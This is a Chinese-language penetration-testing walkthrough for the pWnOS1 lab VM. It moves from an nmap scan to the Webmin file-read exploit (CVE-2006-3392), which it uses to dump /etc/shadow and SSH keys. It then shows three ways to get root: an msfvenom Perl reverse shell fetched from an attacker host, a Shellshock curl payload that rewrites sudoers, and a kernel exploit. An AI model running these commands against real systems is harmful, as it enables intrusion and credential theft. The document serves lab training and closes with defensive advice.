打靶日记——pWnOS1
字数 1247 2025-08-29 08:29:41

pWnOS1 靶机渗透测试教学文档

1. 靶机信息收集

1.1 网络发现

  • 靶机IP网段:10.10.10.0/24(静态IP)
  • 建议将攻击机IP配置到同一网段

1.2 端口扫描

使用nmap进行端口扫描发现以下开放端口:

  • 22 (SSH)
  • 80 (HTTP)
  • 139 (NetBIOS)
  • 445 (SMB)
  • 10000 (Webmin)

1.3 服务识别与漏洞扫描

使用nmap自带脚本进行详细扫描:

nmap -sV -sC -p22,80,139,445,10000 <靶机IP>

发现关键漏洞:

  • Webmin (10000端口)存在任意文件读取漏洞(CVE-2006-3392)

2. Webmin任意文件读取漏洞利用(CVE-2006-3392)

2.1 漏洞验证

访问http://<靶机IP>:10000确认Webmin登录页面存在

2.2 利用脚本选择

Exploit-DB上有两个可用脚本:

  1. PHP脚本
  2. Perl脚本

推荐使用PHP脚本,但可能需要安装额外扩展:

sudo apt-get install php-curl

2.3 利用过程

  1. 下载PHP利用脚本
  2. 执行脚本读取敏感文件:
    php exploit.php <靶机IP> /etc/passwd
    
  3. 成功读取后尝试读取shadow文件:
    php exploit.php <靶机IP> /etc/shadow
    

注意:此漏洞利用时具有root权限

3. SSH私钥获取与利用

3.1 获取SSH公钥

利用文件读取漏洞获取用户公钥:

php exploit.php <靶机IP> /home/<用户名>/.ssh/authorized_keys

靶机上存在四个用户,需要逐一尝试

3.2 私钥碰撞攻击

  1. 使用PRNG(伪随机数生成)方法进行私钥碰撞
  2. 下载专用私钥库(如5622.txt)
  3. 复制获取的公钥前几十位进行搜索匹配
  4. 找到对应私钥文件(去掉公钥文件后缀)

3.3 SSH登录

使用获取的私钥登录:

ssh -i <私钥文件> <用户名>@<靶机IP> -o PubkeyAcceptedKeyTypes=+ssh-rsa

注意:需要添加-o PubkeyAcceptedKeyTypes=+ssh-rsa参数解决密钥类型问题

4. 提权方法

4.1 方法一:Webmin文件包含提权

4.1.1 准备Perl反向Shell

  1. 使用msfvenom生成:
    msfvenom -p cmd/unix/reverse_perl LHOST=<攻击机IP> LPORT=<监听端口> -f raw > shell.cgi
    
  2. 或使用Kali自带Perl Shell脚本

4.1.2 上传并执行

  1. 在攻击机开启HTTP服务:
    python3 -m http.server 80
    
  2. 靶机下载:
    wget http://<攻击机IP>/shell.cgi -O /tmp/shell.cgi
    chmod +x /tmp/shell.cgi
    
  3. 攻击机开启监听:
    nc -lvnp <监听端口>
    
  4. 通过文件包含漏洞执行:
    php exploit.php <靶机IP> /tmp/shell.cgi
    

4.2 方法二:Bash Shellshock提权

4.2.1 漏洞验证

检查Bash版本:

bash --version

若版本≤4.1,可能存在Shellshock漏洞

测试命令:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

输出"vulnerable"则存在漏洞

4.2.2 利用过程

  1. 创建提权脚本:
    echo 'echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /home/vmware/a.cgi
    
  2. 使用curl执行:
    curl http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/a.cgi -A '() { :;}; /bin/bash /home/vmware/a.cgi'
    
  3. 验证提权:
    sudo su
    

4.3 方法三:内核提权

4.3.1 内核版本检查

uname -a

确认内核版本为2.6.22(较老版本)

4.3.2 利用过程

  1. 下载提权exp(如linux/local/5092.c)
  2. 上传到靶机:
    wget http://<攻击机IP>/5092.c -O /tmp/5092.c
    
  3. 编译并执行:
    gcc 5092.c -o exp
    ./exp
    
  4. 获取root shell

5. 总结与防御建议

5.1 漏洞总结

  1. Webmin任意文件读取漏洞(CVE-2006-3392)
  2. SSH密钥管理不当
  3. Bash Shellshock漏洞
  4. 老旧内核漏洞

5.2 防御建议

  1. 及时更新Webmin到最新版本
  2. 加强SSH密钥管理,禁用不安全的密钥类型
  3. 升级Bash到最新版本
  4. 定期更新操作系统内核
  5. 限制文件读取权限,特别是敏感文件
pWnOS1 靶机渗透测试教学文档 1. 靶机信息收集 1.1 网络发现 靶机IP网段:10.10.10.0/24(静态IP) 建议将攻击机IP配置到同一网段 1.2 端口扫描 使用nmap进行端口扫描发现以下开放端口: 22 (SSH) 80 (HTTP) 139 (NetBIOS) 445 (SMB) 10000 (Webmin) 1.3 服务识别与漏洞扫描 使用nmap自带脚本进行详细扫描: 发现关键漏洞: Webmin (10000端口)存在任意文件读取漏洞(CVE-2006-3392) 2. Webmin任意文件读取漏洞利用(CVE-2006-3392) 2.1 漏洞验证 访问 http://<靶机IP>:10000 确认Webmin登录页面存在 2.2 利用脚本选择 Exploit-DB上有两个可用脚本: PHP脚本 Perl脚本 推荐使用PHP脚本,但可能需要安装额外扩展: 2.3 利用过程 下载PHP利用脚本 执行脚本读取敏感文件: 成功读取后尝试读取shadow文件: 注意:此漏洞利用时具有root权限 3. SSH私钥获取与利用 3.1 获取SSH公钥 利用文件读取漏洞获取用户公钥: 靶机上存在四个用户,需要逐一尝试 3.2 私钥碰撞攻击 使用PRNG(伪随机数生成)方法进行私钥碰撞 下载专用私钥库(如5622.txt) 复制获取的公钥前几十位进行搜索匹配 找到对应私钥文件(去掉公钥文件后缀) 3.3 SSH登录 使用获取的私钥登录: 注意:需要添加 -o PubkeyAcceptedKeyTypes=+ssh-rsa 参数解决密钥类型问题 4. 提权方法 4.1 方法一:Webmin文件包含提权 4.1.1 准备Perl反向Shell 使用msfvenom生成: 或使用Kali自带Perl Shell脚本 4.1.2 上传并执行 在攻击机开启HTTP服务: 靶机下载: 攻击机开启监听: 通过文件包含漏洞执行: 4.2 方法二:Bash Shellshock提权 4.2.1 漏洞验证 检查Bash版本: 若版本≤4.1,可能存在Shellshock漏洞 测试命令: 输出"vulnerable"则存在漏洞 4.2.2 利用过程 创建提权脚本: 使用curl执行: 验证提权: 4.3 方法三:内核提权 4.3.1 内核版本检查 确认内核版本为2.6.22(较老版本) 4.3.2 利用过程 下载提权exp(如linux/local/5092.c) 上传到靶机: 编译并执行: 获取root shell 5. 总结与防御建议 5.1 漏洞总结 Webmin任意文件读取漏洞(CVE-2006-3392) SSH密钥管理不当 Bash Shellshock漏洞 老旧内核漏洞 5.2 防御建议 及时更新Webmin到最新版本 加强SSH密钥管理,禁用不安全的密钥类型 升级Bash到最新版本 定期更新操作系统内核 限制文件读取权限,特别是敏感文件